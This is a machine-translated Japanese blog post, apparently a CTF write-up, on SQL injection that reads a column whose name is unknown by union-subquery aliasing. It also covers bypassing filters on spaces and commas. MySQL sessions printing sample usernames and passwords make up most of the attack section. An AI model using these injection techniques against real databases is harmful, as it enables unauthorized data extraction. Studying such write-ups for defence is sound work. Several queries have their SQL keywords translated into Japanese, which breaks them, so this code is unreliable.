MySQL で不明なフィールド名を回避する方法

MySQL で不明なフィールド名を回避する方法

序文

この記事では、DDCTF の 5 番目の質問、つまり不明なフィールド名をバイパスする手法を紹介します。ここでは、ローカル マシンを使用して操作します。アイデアは素晴らしく明確です。皆さんと共有してください。詳細な紹介を見てみましょう。

実装のアイデア

この質問はスペースとカンマをフィルタリングします。スペースは、%0a、%0b、%0c、%0d、%a0、または括弧を直接使用してバイパスできます。カンマは join を使用してバイパスできます。

フラグを格納するフィールド名が不明であり、information_schema.columns もテーブル名の 16 進数をフィルタリングするため、フィールド名を取得できません。この場合、結合クエリを使用できます。プロセスは次のようになります。

アイデアは、フラグを取得して、それを既知のフィールド名の下に表示することです。

サンプルコード:

mysql> (選択 1)a、(選択 2)b、(選択 3)c、(選択 4)d を選択します。
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
セット内の 1 行 (0.00 秒)
 
mysql> (選択 1)a、(選択 2)b、(選択 3)c、(選択 4)d から * を選択します。
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
セット内の 1 行 (0.00 秒)
 
mysql> select * from (select 1)a、(select 2)b、(select 3)c、(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | 管理者 | admin888 | [email protected] |
| 2 | テスト | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+-------+----------+-------------+
セット内の 4 行 (0.01 秒)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
セット内の4行(0.03秒)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
セット内の1行(0.01秒)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+-----------+-----------+-------------+
| ID | ユーザー名 | パスワード | メール |
+-------------+-----------+-----------+-------------+
| 1 | 管理者 | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+-----------+-----------+-------------+
セットに2行(0.04秒)

要約する

上記はこの記事の全内容です。この記事の内容が皆さんの勉強や仕事に少しでもお役に立てれば幸いです。ご質問があれば、メッセージを残してコミュニケーションしてください。123WORDPRESS.COM をご愛顧いただき、ありがとうございます。

以下もご興味があるかもしれません:
  • XSSとSQLインジェクションを防ぐ:JS特殊文字フィルタリングの定期的
  • 重複データをフィルタリングするSQL文
  • MySQLインジェクションバイパスフィルタリング技術の概要
  • SQLインジェクションは一重引用符の制限を回避し、インジェクションを継続します
  • SQLインジェクションバイパス手法の概要
  • 複数列の複合インデックスを使用して Microsoft SQL Server のバグを回避する
  • SQLインジェクションバイパスに関するいくつかの知識ポイント
  • SQL Server シンプル モードで誤って削除されたヒープ テーブル レコードを回復する方法 (ヘッダー検証をバイパス)
  • SQL インジェクション技術: 明示的およびブラインド インジェクションにおけるカンマ フィルタリングのバイパスの詳細な分析

<<:  TomcatはNginxリバースプロキシのクライアントドメイン名を取得します

>>:  jsはjQueryをカプセル化する簡単な方法とチェーン操作の詳細な説明を実装します

推薦する

Linux での mysql8.018 のインストールと設定のプロセスの詳細な説明

Windowsでのインストールの紹介:こちらもご覧ください –》WindowsでのMySQL 8.0...

mysql8.0.20 のデータディレクトリを移行する方法

mysql のデフォルトのストレージ ディレクトリは/var/lib/mysql/です。以下は、デフ...

MySQL MHA のセットアップと切り替えに関するいくつかのエラー ログの概要

1: masterha_check_repl レプリカ セット エラー レプリケートが構成ファイルで...

MySQL はどのようにしてデータの整合性を確保するのでしょうか?

オンライン ビジネスにとってデータの一貫性と整合性が重要であることは明らかです。データが失われないよ...

MySQL データベースのバックアップとリカバリの実装コード

データベースのバックアップ #文法: # mysqldump -h server-u usernam...

MySQL ステートメントに一重引用符またはバックスラッシュを含む値を挿入する方法

序文この記事では主に、シングルクォートやバックスラッシュを含む値を挿入するMySQLステートメントに...

2008 年の Web デザインにおける 10 の経験

<br />インターネットは絶えず変化しており、BusinessWeek.com は専門...

Ubuntu システムにおけるネットワーク構成ファイルの分析と説明

今日は奇妙なネットワーク問題に遭遇しました。調査プロセスといくつかの構成状況を記録し、Linux で...

ES6分解課題の原理と応用

目次配列分割代入オブジェクトの分解代入分割割り当ての適用変数の値の交換関数から複数の値を返すマップ構...

JS 継承の詳細

目次序文準備する要約する継承方法プロトタイプ継承プロトタイプチェーン継承コンストラクタの借用(クラス...

Vue ページ内の公開マルチタイプ添付画像アップロード領域と適用可能な折りたたみパネル (サンプルコード)

フロントエンド プロジェクトでは、添付ファイルのアップロードは非常に一般的な機能であり、ほぼすべての...

CUDA10.0 のインストールと Ubuntu での問題

Tensorflow バージョンと Cuda および CUDNN の対応: https://tens...

スクラッチ宝くじの例を実現する JavaScript キャンバス

この記事では、スクラッチ効果を実現するためのJavaScriptキャンバスの具体的なコードを参考まで...

Centos6でgitlabを構築する方法

序文元のプロジェクトは、パブリックネットワークgitlabに配置されていました。セキュリティ上の理由...

Docker パッケージング ノード プロジェクトのプロセスの説明

バックエンド プログラマーとして、フロントエンドのものをいじらなければならないこともあります。そこで...